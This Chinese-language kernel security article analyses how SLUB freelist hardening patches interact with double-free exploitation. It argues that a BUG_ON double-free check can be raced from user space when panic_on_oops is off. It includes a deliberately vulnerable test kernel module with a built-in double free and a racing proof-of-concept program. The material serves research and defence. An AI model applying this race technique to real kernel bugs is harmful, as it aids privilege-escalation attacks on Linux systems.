作者:zerons, Shawn

在之前的文檔linux kernel double-free類型漏洞的利用中提到了SLUB的一個特性(FILO), 在slub中實現了一個單向鏈表, 每個節點的下一個元素保存在這個節點指向的內存的一個偏移處(kmem_cache->offset). 在double free環境中, 導致這個鏈表出現一個環, 于是后續的申請能得到指向同一個空間的兩個對象.

本文會介紹一種由補丁引起的另外一種可利用的思路(只適用一種場景).

本文討論的相關補丁

PATCH 0: add a naive detection of double free or corruption PATCH 1: add SLUB free list pointer obfuscation

Shawn: SLAB_FREELIST_HARDENED中最重要的特性, 來自于2016年PaX/Grsecurity針對v4.8內核的代碼

PATCH 2: prefetch next freelist pointer in slab_alloc

PATCH 0

set_freepointer(struct kmem_cache *s, void *object, void *fp)函數中, 添加一個檢測

BUG_ON(object == fp);

在kfree的時候, object為將要釋放的地址, fp來源于page結構體中的freelist成員, freelist指向當前可用的空間的地址.

BUG_ON檢測的條件就是如果freelist指向了當前要釋放的空間, 即產生崩潰(CONFIG_PANIC_ON_OOPS)/終止觸發的進程(no panic_on_oops)

對這個補丁后面會詳細說明.

PATCH 1

這個補丁修改了保存在每個釋放的空間的數據, 也就是freelist那個鏈表不再是直接取數據就能用的, 需要進行逆運算才能得到下一個空間的地址. 運算過程在freelist_ptr函數中

static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
                 unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
    return (void *)((unsigned long)ptr ^ s->random ^ ptr_addr);
#else
    return ptr;
#endif
}

參數s通常來源于kmalloc_caches這個全局數組對應偏移, 比如kmalloc-8192的數組索引為13(2的13次方). random成員在kmem_cache_open函數中賦值.

PATCH 2

這個補丁, 很早就加入了系統(2011年?)

static inline void *freelist_dereference(const struct kmem_cache *s,
                     void *ptr_addr)
{
    return freelist_ptr(s, (void *)*(unsigned long *)(ptr_addr),
                (unsigned long)ptr_addr);
}

static void prefetch_freepointer(const struct kmem_cache *s, void *object)
{
    if (object)
        prefetch(freelist_dereference(s, object + s->offset));
}

當object不為空的時候, 檢測object的下一個可用成員是否合法.

回到double free的環境

這里考慮如下的double free環境, 在一個線程中運行了如下的代碼

kfree(a);
kfree(b);
kfree(a);

在執行完成之后, 會有下面的一個’環’

freelist = a
*(unsigned long *)a = b;
*(unsigned long *)b = a;

按照之前的利用思路, 那么當

申請到a對象的時候, freelist=b

申請到b對象的時候, freelist=a?

這個地方其實就會出問題了. 由于我們并不能保證 申請的對象不寫任何空間 , 尤其是(s->offset)位置的數據. 假設我們用kzalloc函數申請到了a, 在申請對象b的時候

在函數slab_alloc_node中

static __always_inline void *slab_alloc_node(struct kmem_cache *s,
        gfp_t gfpflags, int node, unsigned long addr)
{
    void *object;
    struct kmem_cache_cpu *c;
    struct page *page;
    unsigned long tid;

    /* ... */
    object = c->freelist;
    page = c->page;
    if (unlikely(!object || !node_match(page, node))) {
        /* ... */
    } else {
        void *next_object = get_freepointer_safe(s, object);

        /* ... */
        /*
         * 在這個地方調用了prefetch_freepointer
         * next_object即為a
         */
        prefetch_freepointer(s, next_object);
        stat(s, ALLOC_FASTPATH);
    }

    /* ... */

    return object;
}

在prefetch_freepointer中, object為a, 但是此時*(unsigned long *)a的值為0.

然后在freelist_ptr時, ptr為保存在a中的xor值(此時為0), ptr_addr值為a, 運算得到下一個對象的地址就亂了, 通常會是一個非法地址.

至此, 這種利用方法被這兩種方法擋住了.

回到PATCH 0

由于多數發行版未開啟panic_on_oops, 下面的討論只在沒有panic_on_oops情況下有效

這個補丁原本是用于檢測一些double free的bug的. 但是它存在一些競爭, 導致一些意外情況.

補丁只能檢測在一個線程中連續執行kfree(a) kfree(a)的情況, 即類似cve-2017-2636的情況

回到補丁上, fp是freelist的值, object是當前準備釋放的地址.

如果在第一次kfree(a)之后, 另外的線程獲得了執行, 然后執行kfree(b)(b需要相當接近a)修改了freelist的值, 那么就可以造成類似kfree(a) kfree(b) ... kfree(a)的情況, 補丁并沒起作用.

同樣, 在第一次kfree(a)之后, 另外的線程獲得了執行, 然后執行了kmalloc修改了freelist的值, 那么就如同kfree(a) kmalloc()->a, kfree(a), kmalloc()->a的情況. 獲得指向同一個地址的兩個對象

問題在于, 補丁使用了BUG_ON, 使得用戶空間程序可以檢測內核的某種狀態, 當其他的線程能競爭成功的時候, 觸發double-free的線程得以成功退出.

那么也就成了, 這個補丁原本是為了檢測什么類型的漏洞, 導致這種漏洞是有可能來利用的, 畢竟它允許我們一直競爭下去直到成功競爭..(測試中kfree競爭kfree相對比較容易, 通常幾秒得到. 用kmalloc來競爭kfree, 比較難得到).

一個猜想

在未開啟panic_on_oops的場景下, 內核代碼中使用了挺多的BUG_ON, 會不會有其他的檢測的condition會存在類似的競爭情況呢?

縱深防御

Shawn: 不論是use-after-free,double free還是race condition導致的任意執行和讀寫,單一的防御是遠遠不夠的,PATCH 0是一個典型的例子,即使在通用的PaX/Grsecurity加固方案在這個case中有多個防御機制等待突破,而其中至少有4個防御機制形成了盾牌鏈條。

測試用例

測試用例主要是演示這種情景, 演示視頻

mod_test.c

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/proc_fs.h>
#include <linux/delay.h>
#include <linux/uaccess.h>

#define TARGET_SLAB_SIZE    8192
struct test_ll {
    struct list_head sibling;
    char *buf;
    int flag;
};

static int test_file_open(struct inode *ino, struct file *filp)
{
    if (likely(!filp->private_data)) {
        filp->private_data = kmalloc(sizeof(struct list_head), GFP_KERNEL);
        if (!filp->private_data)
            return -ENOMEM;
        INIT_LIST_HEAD(filp->private_data);
    }
    return 0;
}

static long test_file_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    switch (cmd) {
    case 0xa1:  /* create node */
    {
        struct test_ll *new;
        new = kzalloc(sizeof(*new), GFP_KERNEL);
        if (!new)
            return -ENOMEM;

        new->buf = kzalloc(TARGET_SLAB_SIZE, GFP_KERNEL);
        if (!new->buf) {
            kfree(new);
            return -ENOMEM;
        }

        list_add_tail(&new->sibling, filp->private_data);
        return (long)new->buf;
    }
    case 0xa2:  /* add a same node to the tail */
    {
        struct test_ll *new, *tail;
        new = kzalloc(sizeof(*new), GFP_KERNEL);
        if (!new)
            return -ENOMEM;

        tail = container_of(((struct list_head *)filp->private_data)->prev,
                    struct test_ll, sibling);
        new->buf = tail->buf;
        tail->flag = 1;
        list_add_tail(&new->sibling, filp->private_data);
        return (long)new->buf;
    }
    case 0xa3:  /* double free */
    {
        struct list_head *head = (struct list_head *)filp->private_data;
        struct test_ll *tmp, *next;
        unsigned long i = 0;

        list_for_each_entry_safe(tmp, next, head, sibling) {
            list_del(&tmp->sibling);
            kfree(tmp->buf);
            if (unlikely(tmp->flag))
                msleep(1);
            kfree(tmp);
        }
        kfree(filp->private_data);
        return 0;
    }
    default:
        return -EINVAL;
    }
}

struct file_operations test_ops = {
    .owner = THIS_MODULE,
    .open = test_file_open,
    .unlocked_ioctl = test_file_ioctl,
};
static struct proc_dir_entry *test_entry;

static int __init test_init(void)
{
    test_entry = proc_create("test_double-free", S_IRUSR | S_IWUSR | S_IROTH |
                    S_IWOTH, NULL, &test_ops);
    if (!test_entry) {
        pr_err("proc_create err\n");
        return -1;
    }


    return 0;
}

static void __exit test_exit(void)
{
    proc_remove(test_entry);
    return;
}

MODULE_LICENSE("GPL");
module_init(test_init);
module_exit(test_exit);

poc.c

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/tty.h>
#include <termios.h>
#include <syscall.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <pthread.h>

static char *target_path = "/proc/test_double-free";
#define fd_cnt 1
#define alloc_times 0x100
int fd[fd_cnt];

int open_target_file(void)
{
    return open(target_path, O_RDWR);
}

int alloc_8192_buf(int fd)
{
    return ioctl(fd, 0xa1, NULL);
}

int add_same_buf(int fd)
{
    return ioctl(fd, 0xa2, NULL);
}

int do_double_free(int fd)
{
    return ioctl(fd, 0xa3, NULL);
}

int do_release(int fd)
{
    return ioctl(fd, 0xa3, NULL);
}

#define BUF_PER_FD  0x1000
#define THREADS_RACE    0x10
int buf_fd[THREADS_RACE];
int addr[BUF_PER_FD * THREADS_RACE];
void *thread_alloc_buf(void *arg)
{
    int idx = (int)arg;
    int i = 0;
    int start = idx * BUF_PER_FD;
    int end = (idx + 1) * BUF_PER_FD;
    for (int i = start; i < end; i++) {
        addr[i] = alloc_8192_buf(buf_fd[idx]);
    }
    return (void *)0;
}

int main(int argc, char *argv[])
{
    int err;

    int i = 0;
    while (1) {
        for (i = 0; i < THREADS_RACE; i++)
            buf_fd[i] = open_target_file();

        int pid;
        if ((pid = fork()) < 0) {
            perror("fork");
        } else if (pid == 0) {
            for (i = 0; i < fd_cnt; i++)
                fd[i] = open_target_file();

            for (i = 0; i < fd_cnt; i++)
                for (int j = 0; j < alloc_times; j++)
                    alloc_8192_buf(fd[i]);
            err = add_same_buf(fd[0]);
            fprintf(stderr, "double free at: %x\n", err);
            do_double_free(fd[0]);
            return 0;
        }
        int pid_status;
        pthread_t thread[THREADS_RACE];
        for (i = 0; i < THREADS_RACE; i++) {
            err = pthread_create(&thread[i], NULL,
                        thread_alloc_buf,
                        (void *)i);
            if (err == -1)
                thread[i] = NULL;
        }
        for (i = 0; i < THREADS_RACE; i++)
            pthread_join(thread[i], NULL);

        waitpid(pid, &pid_status, 0);
        if (WIFEXITED(pid_status)) {
            fprintf(stdout, "child ret: %d\n", pid_status);
            break;
        }

        for (i = 0; i < THREADS_RACE; i++) {
            do_release(buf_fd[i]);
            close(buf_fd[i]);
        }
    }

    for (i = 0; i < THREADS_RACE * BUF_PER_FD; i++) {
        fprintf(stderr, "%d: %x\n", i, addr[i]);
    }
    getchar();

    for (i = 0; i < THREADS_RACE; i++) {
        do_release(buf_fd[i]);
        close(buf_fd[i]);
        buf_fd[i] = -1;
    }

    return 0;
}

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/470/